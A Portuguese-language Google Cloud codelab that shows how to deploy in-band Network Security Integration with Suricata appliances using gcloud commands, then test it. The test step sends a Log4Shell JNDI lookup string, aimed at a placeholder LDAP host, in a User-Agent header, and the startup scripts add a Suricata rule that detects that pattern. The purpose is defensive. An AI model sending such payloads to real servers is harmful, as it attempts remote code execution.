Codelab de integração de segurança de rede (NSI) na banda

1. Introdução

Integração de segurança de rede

A integração de segurança de rede (NSI, na sigla em inglês) oferece flexibilidade para melhorar a segurança da rede das suas cargas de trabalho. Você pode usar um appliance criado para fins específicos de um fornecedor independente de software (ISV) terceirizado ou um mecanismo de inspeção profunda de pacotes (DPI) para inspecionar o payload. Para permitir a integração perfeita com esses dispositivos de terceiros, o Google Cloud facilita a implantação transparente sem alterações de rede ou roteamento.

O Google Cloud oferece dois tipos de integração de segurança de rede: fora da banda e na banda. Neste laboratório, vamos mostrar as etapas para implantar a Integração de Segurança de Rede em banda.

Integração de segurança de rede em banda

A integração de segurança de rede oferece integração na banda usando a tecnologia de interceptação de pacotes, que permite colocar dispositivos de rede de terceiros no caminho do tráfego de rede para inspeção transparente das cargas de trabalho do Google Cloud. Esse processo usa o encapsulamento genérico de virtualização de rede (GENEVE, na sigla em inglês) para transportar pacotes com segurança para o appliance sem mudar os endereços IP de origem e destino originais.

A integração in-band oferece uma abordagem centrada em serviços para implantar e consumir dispositivos de rede inline de terceiros no modo bump-in-the-wire. Como produtor de serviços, você pode publicar um conjunto escalonável de dispositivos de rede de terceiros como uma implantação de interceptação. Como consumidor de serviços, você pode usar políticas e regras do Cloud Next Generation Firewall para fazer uma seleção refinada de tráfego e redirecionar de forma transparente para um endpoint de interceptação local para inspeção.

61bfbf754e04cf70.png

Figura 1. Arquitetura de implantação de alto nível do serviço de integração na banda

Para mais informações sobre a integração de NSI em banda, consulte a visão geral.

Produtor de serviço na banda

Os produtores de serviços são onde os dispositivos de terceiros são implantados e gerenciados. Isso pode ser gerenciado por alguém na sua organização (equipe de segurança etc.) ou por um fornecedor externo. Os produtores registram as máquinas virtuais, que podem ser dispositivos de terceiros, como back-ends para um balanceador de carga de rede de passagem interna na rede VPC. Esses aparelhos inspecionam o tráfego de rede redirecionado a eles. Em seguida, os produtores de serviços criam implantações de interceptação, um recurso zonal que aponta para a regra de encaminhamento do balanceador de carga de rede de passagem interna.

Uma implantação de interceptação é um recurso zonal que representa o serviço de inspeção do produtor para uma zona específica. Os produtores criam implantações de interceptação para cada zona em que implantaram as VMs.

Um grupo de implantação de interceptação é um recurso global com escopo de projeto que permite que os consumidores se conectem aos serviços de inspeção de um produtor. Os produtores criam um grupo de implantação de interceptação para agrupar várias implantações de interceptação zonais. Os produtores usam o IAM para controlar quais consumidores podem se conectar ao grupo de implantação.

Para mais informações, consulte Visão geral dos grupos de implantação de interceptação e Visão geral das implantações de interceptação.

Consumidor de serviço em banda

Os consumidores de serviços usam os serviços de inspeção oferecidos pelos produtores. Os consumidores especificam quais VPCs querem inspecionar e de qual produtor. Para isso, os consumidores criam um grupo de endpoints de interceptação, um recurso global que representa o lado deles da relação produtor-consumidor, e vinculam o grupo de endpoints de interceptação ao grupo de implantação de interceptação do produtor.

Para associar o grupo de endpoints de interceptação às VPCs de onde querem que o tráfego seja inspecionado, os consumidores criam uma associação de grupo de endpoints de interceptação. Para selecionar o tráfego que deve ser enviado ao produtor para inspeção, os consumidores criam e usam políticas de firewall de rede. Os consumidores criam um grupo de perfis de segurança que contém um perfil de segurança que faz referência ao grupo de endpoints de interceptação. Em seguida, os consumidores criam uma regra de firewall para redirecionar o tráfego que corresponde a critérios específicos para os dispositivos do produtor.

Embora o grupo de endpoints de interceptação(IEG, na sigla em inglês) seja um recurso no nível do projeto, o IEG e a associação dele não precisam estar no mesmo projeto. Uma IEG pode ser referenciada por uma associação de IEG de outros projetos na sua organização. Ele representa o lado do consumidor na relação produtor-consumidor. Os consumidores criam um grupo de endpoints de interceptação para consumir o serviço de inspeção de um produtor. Cada grupo de endpoints de interceptação no lado do consumidor está associado a um único grupo de implantação de interceptação no lado do produtor.

Para mais informações, consulte Visão geral dos grupos de endpoints e associações de interceptação.

Os consumidores precisam criar uma regra de política de firewall para redirecionar o tráfego ao grupo de endpoints de interceptação. Os consumidores podem especificar os critérios de correspondência na regra da política de firewall, o que permite definir qual tráfego será inspecionado pelos dispositivos do produtor.

Os consumidores criam um perfil de segurança de interceptação personalizado para especificar qual grupo de endpoints de interceptação deve ser usado para inspecionar o tráfego.

Os consumidores criam um grupo de perfis de segurança para definir um grupo de recursos de inspeção de segurança que devem ser aplicados a um subconjunto específico de tráfego. Um grupo de perfis de segurança contém um único perfil de segurança de interceptação personalizada.

O que você vai criar

ea01a16258c792c1.png

Figura 2. Arquitetura de implantação de alto nível para este codelab

Para simplificar este codelab, você vai usar um único projeto e criar duas redes VPC, além de gerenciar vários recursos de rede e segurança. Este laboratório demonstra como implantar a integração de serviços de rede em banda com um dispositivo de terceiros para inserção transparente de segurança.

Os fluxos a serem inspecionados serão selecionados usando parâmetros de correspondência do Cloud Firewall, incluindo cinco tuplas (IP de origem, IP de destino, protocolo, porta de origem, porta de destino). Para simplificar este laboratório, você vai inspecionar todo o tráfego de SAÍDA na porta TCP 80.

O produtor vai permitir a entrada do IP do gateway da sub-rede VPC do produtor (10.0.0.1/32) para pacotes UDP com porta de destino 6081, a porta conhecida do GENEVE.

O estado final da base de regras da política de firewall de rede será semelhante à tabela abaixo:

Política de rede do produtor:

Prioridade

Direção

Protocolo

Destino

Origem

Destino

Porta de destino

Ação

100

Entrada

Todos

Todos

Verificações de integridade

Qualquer

Tudo

Permitir

200

Entrada

Todos

Todos

IAP

Qualquer

Tudo

Permitir

300

Entrada

UDP

Todos

10.0.0.1/32

Qualquer

6081

Permitir

Política de rede do consumidor:

Prioridade

Direção

Protocolo

Destino

Origem

Destino

Porta de destino

Ação

200

Entrada

TCP

Todos

IAP

Qualquer

22

Permitir

800

Saída

TCP

Todos

Tudo

Qualquer

80

Interceptar

O que você vai aprender

  • Como implantar a integração de segurança de rede em banda

O que é necessário

  • Organização e projeto do Google Cloud
  • Permissões adequadas do IAM
  • Conhecimento sobre como implantar instâncias e configurar componentes de rede
  • Conhecimento da configuração do firewall de política de rede

2. Antes de começar

Permissões e papéis do IAM

Para concluir o codelab de Integração de Segurança de Rede (NSI) em banda, você vai precisar dos seguintes papéis do IAM:

  • Administrador de rede do Compute (roles/compute.networkAdmin): necessário para criar e gerenciar redes VPC, sub-redes, Cloud Routers, gateways NAT e serviços de back-end do balanceador de carga.
  • Administrador de segurança do Compute (roles/compute.securityAdmin): necessário para criar, configurar e associar políticas e regras de firewall de rede global.
  • Administrador da instância do Compute (roles/compute.instanceAdmin.v1): necessário para implantar, usar SSH e excluir os dispositivos Suricata e as VMs de teste do consumidor.
  • Administrador de implantação de interceptação (roles/networksecurity.interceptDeploymentAdmin): usado pelo produtor para criar e gerenciar implantações de interceptação zonais e o grupo de implantação global.
  • Administrador de endpoint de interceptação (roles/networksecurity.interceptEndpointAdmin): usado pelo consumidor para criar grupos de endpoints de interceptação e associá-los à rede VPC.
  • Usuário de implantação de interceptação (roles/networksecurity.interceptDeploymentUser): necessário no projeto do produtor para conceder ao consumidor permissão para se conectar ao grupo de implantação do produtor.
  • Administrador de perfil de segurança (roles/networksecurity.securityProfileAdmin): necessário no nível da organização para criar e gerenciar perfis de segurança de interceptação e grupos de perfis de segurança personalizados.
  • Administrador de uso de serviços (roles/serviceusage.serviceUsageAdmin): necessário para ativar as APIs networksecurity.googleapis.com e compute.googleapis.com exigidas pelos recursos do NSI.
  • Leitor do projeto (roles/viewer): necessário para recuperar a configuração do projeto e as informações de ancestralidade da organização para as variáveis de ambiente usadas em todo o laboratório.

APIs Google Cloud

Verifique se as APIs do Cloud necessárias estão ativadas no seu projeto.

Ative as APIs necessárias e execute os seguintes comandos gcloud no Cloud Shell.

gcloud services enable compute.googleapis.com \
networksecurity.googleapis.com \
cloudresourcemanager.googleapis.com

Criar/atualizar variáveis

Este codelab usa $variáveis para ajudar na implementação da configuração do gcloud no Cloud Shell.

No Cloud Shell, execute os comandos abaixo, substituindo as informações entre colchetes conforme necessário:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zonea=[first-zone from $region]
export zoneb=[second-zone from $region]
export zonec=[third-zone from $region]

3. Ações do produtor

Esta seção vai abordar o lado da implantação do produtor. Isso inclui a implantação da VPC, do dispositivo virtual de rede de terceiros e de todos os componentes relevantes para a Integração de Segurança de Rede.

Componentes da VPC e do Cloud NAT

  1. Crie a VPC e a sub-rede:
gcloud compute networks create producer-vpc --subnet-mode=custom 

gcloud compute networks subnets create producer-$region-subnet \
   --range=10.0.0.0/24 --network=producer-vpc --region=$region
  1. Receba o IP do gateway da sub-rede para uso em regras de firewall:
export gatewayip=$(gcloud compute networks subnets list --project=$project_id --network=producer-vpc --format=json | jq -r '.[0].gatewayAddress')
  1. Crie uma política e regras de firewall para a VPC do produtor. Essas regras de firewall vão permitir a entrada para verificações de integridade, IAP e tráfego originado do NSI:
gcloud compute network-firewall-policies create producer-fwpolicy \
  --global
                                                      
gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from ilb health-check ranges" \
        --action=allow \
        --firewall-policy=producer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80 \
        --direction=INGRESS \
        --src-ip-ranges=35.191.0.0/16,130.211.0.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=producer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

gcloud compute network-firewall-policies rules create 300 \
        --description="allow GENEVE UDP:6081 packets from gateway" \
        --action=allow \
        --firewall-policy=producer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=udp:6081 \
        --direction=INGRESS \
        --src-ip-ranges=$gatewayip
 
  1. Associe a VPC do produtor à política de firewall de rede:
gcloud compute network-firewall-policies associations create \
        --firewall-policy producer-fwpolicy \
        --network producer-vpc \
        --name producer-fwpolicy-association \
        --global-firewall-policy
  1. Implante o Cloud Router e o Cloud NAT para o dispositivo virtual de rede (NVA, na sigla em inglês) de terceiros para fazer o download dos pacotes e atualizações necessários:
gcloud compute addresses create producer-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$region-cloudnatip --format="value(address)")

gcloud compute routers create producer-$region-cr \
  --region=$region --network=producer-vpc

gcloud compute routers nats create producer-cloudnat-$region \
   --router=producer-$region-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=producer-$region-cloudnatip

VMs de terceiros

Neste laboratório, você vai implantar o Suricata, um serviço de detecção de ameaças de código aberto. O comando tem um script de inicialização que instala e configura o Suricata. Há também iptables que realizam a conversão de endereços de rede de origem (SNAT) e de destino (DNAT) para processar e responder a pacotes GENEVE.

  1. Implante uma NVA de terceiros na primeira zona.
gcloud compute instances create suricata-$zonea \
   --shielded-secure-boot \
   --subnet=producer-$region-subnet \
   --no-address \
   --private-network-ip 10.0.0.3 \
   --zone $zonea \
   --metadata startup-script='#! /bin/bash
      sudo sysctl -w net.ipv4.ip_forward=1
        apt-get update
        apt-get install nginx suricata tcpdump -y
      sudo suricata-update
      sudo systemctl stop suricata
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
      sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
      sudo iptables -I FORWARD -j NFQUEUE
      sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
      sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
      sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
     sudo systemctl daemon-reload
     sudo systemctl stop suricata
     sleep 5
     sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
     sleep 10
'
  1. Implante uma NVA de terceiros na segunda zona:
gcloud compute instances create suricata-$zoneb \
   --shielded-secure-boot \
   --subnet=producer-$region-subnet \
   --no-address \
   --private-network-ip 10.0.0.4 \
   --zone $zoneb \
   --metadata startup-script='#! /bin/bash
      sudo sysctl -w net.ipv4.ip_forward=1
        apt-get update
        apt-get install nginx suricata tcpdump -y
      sudo suricata-update
      sudo systemctl stop suricata
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
      sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
      sudo iptables -I FORWARD -j NFQUEUE
      sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
      sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
      sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
     sudo systemctl daemon-reload
     sudo systemctl stop suricata
     sleep 5
     sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
     sleep 10
'

Componentes do balanceador de carga do produtor

  1. Crie uma verificação de integridade genérica usada para verificar a disponibilidade da NVA de terceiros:
gcloud compute health-checks create http nva-hc
  1. Crie um grupo de instâncias não gerenciadas por zona para cada zona:
gcloud compute instance-groups unmanaged create producer-$zonea-uig \
   --zone $zonea

gcloud compute instance-groups unmanaged create producer-$zoneb-uig \
   --zone $zoneb
  1. Adicione as instâncias aos grupos de instâncias:
gcloud compute instance-groups unmanaged add-instances producer-$zonea-uig --instances=suricata-$zonea --zone=$zonea

gcloud compute instance-groups unmanaged add-instances producer-$zoneb-uig --instances=suricata-$zoneb --zone=$zoneb

Valide se os grupos de instâncias contêm as instâncias com os seguintes comandos:

gcloud compute instance-groups unmanaged list-instances producer-$zonea-uig --zone=$zonea

gcloud compute instance-groups unmanaged list-instances producer-$zoneb-uig --zone=$zoneb

Exemplo de resposta:

NAME: suricata-$zonea
STATUS: RUNNING

NAME: suricata-$zoneb
STATUS: RUNNING
  1. Crie um serviço de back-end UDP interno:
gcloud compute backend-services create producer-bes \
  --protocol=UDP \
  --region=projects/$project_id/regions/$region \
  --health-checks=projects/$project_id/global/healthChecks/nva-hc \
  --load-balancing-scheme=INTERNAL
  1. Adicione os dois grupos de instâncias ao serviço de back-end:
gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zonea/instanceGroups/producer-$zonea-uig --region=$region

gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zoneb/instanceGroups/producer-$zoneb-uig --region=$region
  1. Reserve IPs internos para suas regras de encaminhamento. Cada implantação de interceptação requer uma regra de encaminhamento exclusiva:
gcloud compute addresses create producer-fr-$zonea-ip \
    --region $region --subnet producer-$region-subnet \
    --addresses 10.0.0.11

gcloud compute addresses create producer-fr-$zoneb-ip \
    --region $region --subnet producer-$region-subnet \
    --addresses 10.0.0.12
  1. Crie a regra de encaminhamento para cada zona. Isso é necessário porque a implantação da interceptação exige uma regra de encaminhamento exclusiva:
gcloud compute forwarding-rules create producer-fr-$zonea \
  --ip-protocol=UDP --address=10.0.0.11 \
  --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \
  --ip-version=IPV4 \
  --ports=6081 \
  --load-balancing-scheme=INTERNAL \
  --region=projects/$project_id/regions/$region \
  --network=projects/$project_id/global/networks/producer-vpc \
  --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet
  
gcloud compute forwarding-rules create producer-fr-$zoneb \
  --ip-protocol=UDP --address=10.0.0.12 \
  --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \
  --ip-version=IPV4 \
  --ports=6081 \
  --load-balancing-scheme=INTERNAL \
  --region=projects/$project_id/regions/$region \
  --network=projects/$project_id/global/networks/producer-vpc \
  --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet

Componentes de Integração de Segurança de Rede

  1. Crie um grupo de implantação de interceptação:
gcloud network-security intercept-deployment-groups create producer-nsi-deployment-group \
    --location global \
    --no-async \
    --network producer-vpc

Verifique se o grupo de implantação foi criado com sucesso:

gcloud network-security intercept-deployment-groups describe producer-nsi-deployment-group \
    --location global

Exemplo de resposta:

createTime: '2025-01-16T06:13:48.075183628Z'
name: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
network: projects/$project_id/global/networks/producer-vpc
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:13:50.556947138Z'
  1. Crie uma implantação de interceptação para cada zona:
gcloud network-security intercept-deployments create nsi-deployment-$zonea \
    --location $zonea \
    --forwarding-rule producer-fr-$zonea \
    --forwarding-rule-location $region \
    --no-async \
    --intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group


gcloud network-security intercept-deployments create nsi-deployment-$zoneb \
    --location $zoneb \
    --forwarding-rule producer-fr-$zoneb \
    --forwarding-rule-location $region \
    --no-async \
    --intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group

Valide se as implantações de interceptação foram criadas:

gcloud network-security intercept-deployments describe nsi-deployment-$zonea \
    --location $zonea

gcloud network-security intercept-deployments describe nsi-deployment-$zoneb \
    --location $zoneb

Exemplo de resposta:

createTime: '2025-01-16T06:27:08.834875130Z'
forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr
interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
name: projects/$project_id/locations/$zonea/interceptDeployments/nsi-deployment-$zonea
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:34:14.401072601Z'


createTime: '2025-01-16T06:33:47.798469786Z'
forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr-$zoneb
interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
name: projects/$project_id/locations/us-west1-b/interceptDeployments/nsi-deployment-$zoneb
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:34:25.258447474Z'

Parabéns, você concluiu a configuração do lado do produtor. Em seguida, configure o lado do consumidor para interceptar o tráfego e enviá-lo de forma transparente aos dispositivos de terceiros para aplicação.

4. Ações do consumidor

Embora este laboratório use VPCs separadas em um único projeto por simplicidade, em ambientes reais, os recursos do produtor e do consumidor podem estar em projetos diferentes ou até mesmo em organizações diferentes.

Componentes da VPC e do Cloud NAT

  1. Crie a VPC e a sub-rede:
gcloud compute networks create consumer-vpc --subnet-mode=custom 

gcloud compute networks subnets create consumer-$region-subnet \
   --range=192.168.0.0/24 --network=consumer-vpc --region=$region
  1. Crie o Cloud Router e o gateway do Cloud NAT:
gcloud compute addresses create consumer-$region-cloudnatip \
     --region=$region

export cloudnatip=$(gcloud compute addresses list \
     --filter=name:consumer-$region-cloudnatip \
     --format="value(address)")

gcloud compute routers create consumer-$region-cr \
    --region=$region \
    --network=consumer-vpc

gcloud compute routers nats create consumer-cloudnat-$region \
   --router=consumer-$region-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=consumer-$region-cloudnatip

Grupo de endpoints e associação de interceptação

  1. Criar grupo de endpoints de interceptação:
gcloud network-security intercept-endpoint-groups create nsi-endpoint-group \
    --location global \
    --no-async \
    --intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group

Validação de que o endpoint foi criado com sucesso:

gcloud network-security intercept-endpoint-groups describe nsi-endpoint-group \
    --location global 

Exemplo de resposta:

createTime: '2025-01-16T06:37:10.620185836Z'
interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
name: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:37:22.707994466Z'
  1. Crie uma associação de grupo de endpoints de interceptação especificando a VPC do consumidor:
gcloud network-security intercept-endpoint-group-associations create nsi-endpoint-group-assoc \
    --location global \
    --network consumer-vpc \
    --no-async \
    --intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group

Validação:

gcloud network-security intercept-endpoint-group-associations describe nsi-endpoint-group-assoc \
    --location global

Exemplo de resposta:

createTime: '2025-01-16T06:40:21.125202733Z'
interceptEndpointGroup: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
locations:
- location: $zonea
  state: ACTIVE
- location: $zoneb
  state: ACTIVE
name: projects/$project_id/locations/global/interceptEndpointGroupAssociations/nsi-endpoint-group-assoc
network: projects/$project_id/global/networks/consumer-vpc
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:40:56.085493855Z'

Perfil de segurança e grupo de perfis de segurança

Em seguida, você vai criar um perfil de segurança personalizado para interceptação e anexá-lo ao grupo de perfis de segurança. O perfil de segurança e o grupo de perfis de segurança são usados para interceptação de pacotes em dispositivos de terceiros.

  1. Crie um perfil de segurança de interceptação personalizada:
gcloud network-security security-profiles custom-intercept create nsi-intercept-profile \
    --organization $org_id \
    --location global \
    --billing-project $project_id \
    --intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group

Valide se o perfil de segurança foi criado:

gcloud network-security security-profiles custom-intercept \
describe nsi-intercept-profile \
--organization=$org_id \
--location=global

Exemplo de resposta:

{
  "createTime": "2025-01-16T20:25:21.545756039Z",
  "customInterceptProfile": {
    "interceptEndpointGroup": "projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group"
  },
  "etag": "vBAcVRe70k70rNJ3stzuCAvp_JbiPD2IWqcHKKAGlzw",
  "name": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
  "type": "CUSTOM_INTERCEPT",
  "updateTime": "2025-01-16T20:25:24.101764860Z"
}
  1. Crie um grupo de perfis de segurança:
gcloud network-security security-profile-groups create nsi-spg \
   --custom-intercept-profile=nsi-intercept-profile \
   --organization=$org_id \
   --project=$project_id \
  --location=global 

Valide se o SPG foi criado:

gcloud network-security security-profile-groups describe nsi-spg \
    --organization $org_id \
    --billing-project $project_id \
    --location global

Exemplo de resposta:

 "createTime": "2025-01-16T20:31:23.545946850Z",
  "customInterceptProfile": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
  "etag": "bAE-90dCYvYfOKga4EfGXWRGuJXJpsiTEEgVsw3AmM0",
  "name": "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg",
  "updateTime": "2025-01-16T20:31:27.588870973Z"

Política, regras e associação de firewall

  1. Crie uma política de firewall de rede global:
gcloud compute network-firewall-policies create consumer-fwpolicy \
     --global
  1. Crie as regras de firewall:
gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=consumer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
      --src-ip-ranges=35.235.240.0/20
  1. Crie a regra de firewall para interceptar todo o tráfego de saída usando o NSI e enviar para o dispositivo de terceiros de maneira transparente. Essa regra envia todo o tráfego de saída TCP:80 para inspeção.
gcloud compute network-firewall-policies rules create 800 \
    --action APPLY_SECURITY_PROFILE_GROUP \
    --firewall-policy consumer-fwpolicy \
    --security-profile-group "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg" \
    --direction EGRESS \
    --layer4-configs tcp:80 \
    --dest-ip-ranges 0.0.0.0/0 \
    --global-firewall-policy
  1. Associe a política de firewall de nuvem à rede VPC:
gcloud compute network-firewall-policies associations create \
        --firewall-policy consumer-fwpolicy \
        --network consumer-vpc \
        --name consumer-fwpolicy-association \
        --global-firewall-policy

VMs de consumidor

  1. Implante VMs usadas para validar a NSI. Você vai implantar três VMs em três zonas. Lembre-se de que apenas duas zonas têm o NSI ativado, enquanto $zonec não tem.
gcloud compute instances create consumer-$zonea \
   --shielded-secure-boot \
   --subnet=consumer-$region-subnet \
   --private-network-ip 192.168.0.3 \
   --no-address \
   --zone $zonea 

gcloud compute instances create consumer-$zoneb \
   --shielded-secure-boot \
   --subnet=consumer-$region-subnet \
   --private-network-ip 192.168.0.4 \
   --no-address \
   --zone $zoneb

gcloud compute instances create consumer-$zonec \
   --shielded-secure-boot \
   --subnet=consumer-$region-subnet \
   --private-network-ip 192.168.0.5 \
   --no-address \
   --zone $zonec 

Teste da integração de segurança de rede em banda

  1. Conecte-se por SSH à VM em $zonea (consumer-$zonea). Envie tráfego de teste:
gcloud compute ssh consumer-$zonea \
   --zone $zonea 
  1. Envie tráfego de teste para http://www.google.com:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2

Saída esperada:

200

O código de status HTTP 200 indica que a solicitação do cliente foi recebida, compreendida e processada pelo servidor.

  1. Envie solicitações do log4j que precisam ser bloqueadas pelo Suricata usando o NSI.
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2 

Saída esperada:

000

O código de resposta HTTP 000 é um código não oficial e não padrão usado por determinados softwares para indicar que nenhum código de status HTTP válido foi recebido. Isso provavelmente significa que a solicitação foi bloqueada pelo firewall.

  1. Saia da sessão SSH e retorne ao Cloud Shell.
exit
  1. Conecte-se por SSH à VM em $zoneb (consumer-$zoneb)
gcloud compute ssh consumer-$zoneb \
   --zone $zoneb 
  1. Da mesma forma, envie tráfego de teste:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2

Saída esperada:

200
  1. Envie uma solicitação log4j:
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2 

Saída esperada:

000
  1. Saia da sessão SSH e retorne ao Cloud Shell.
exit
  1. Conecte-se por SSH à VM em $zonec (consumer-$zonec)
gcloud compute ssh consumer-$zonec \
   --zone $zonec
  1. Da mesma forma, envie tráfego de teste:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2

Saída esperada:

200
  1. Envie uma solicitação log4j:
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2 

Saída esperada:

200

Observe que essa solicitação foi concluída. Isso é esperado porque você não configurou o NSI com $zonec. O grupo de endpoints de interceptação tem apenas associações para $zonea e $zoneb.

  1. Saia da sessão SSH e retorne ao Cloud Shell.
exit

Validar se o Suricata recebeu e bloqueou as solicitações maliciosas

  1. Conecte-se por SSH à VM do Suricata em $zonea (suricata-$zonea) para verificar os registros:
gcloud compute ssh suricata-$zonea \
   --zone $zonea
  1. Confira os registros filtrando por tipo de ataque:
cat /var/log/suricata/eve.json | grep log4j

Algumas entradas vão aparecer. Se não houver entradas, verifique os registros da VM do Suricata em $zoneb. Exemplo de resposta:

{"timestamp":"2025-01-22T19:54:37.347753+0000","flow_id":905867843361350,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.2","src_port":58740,"dest_ip":"74.125.197.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:46:12.023110+0000"}}
  1. Saia da sessão SSH e retorne ao Cloud Shell.
exit

Se quiser, use SSH na VM do Suricata em $zoneb (suricata-$zoneb) e valide os registros.

gcloud compute ssh suricata-$zoneb \
   --zone $zoneb

Confira os registros filtrando por tipo de ataque:

cat /var/log/suricata/eve.json | grep log4j

Exemplo de resposta:

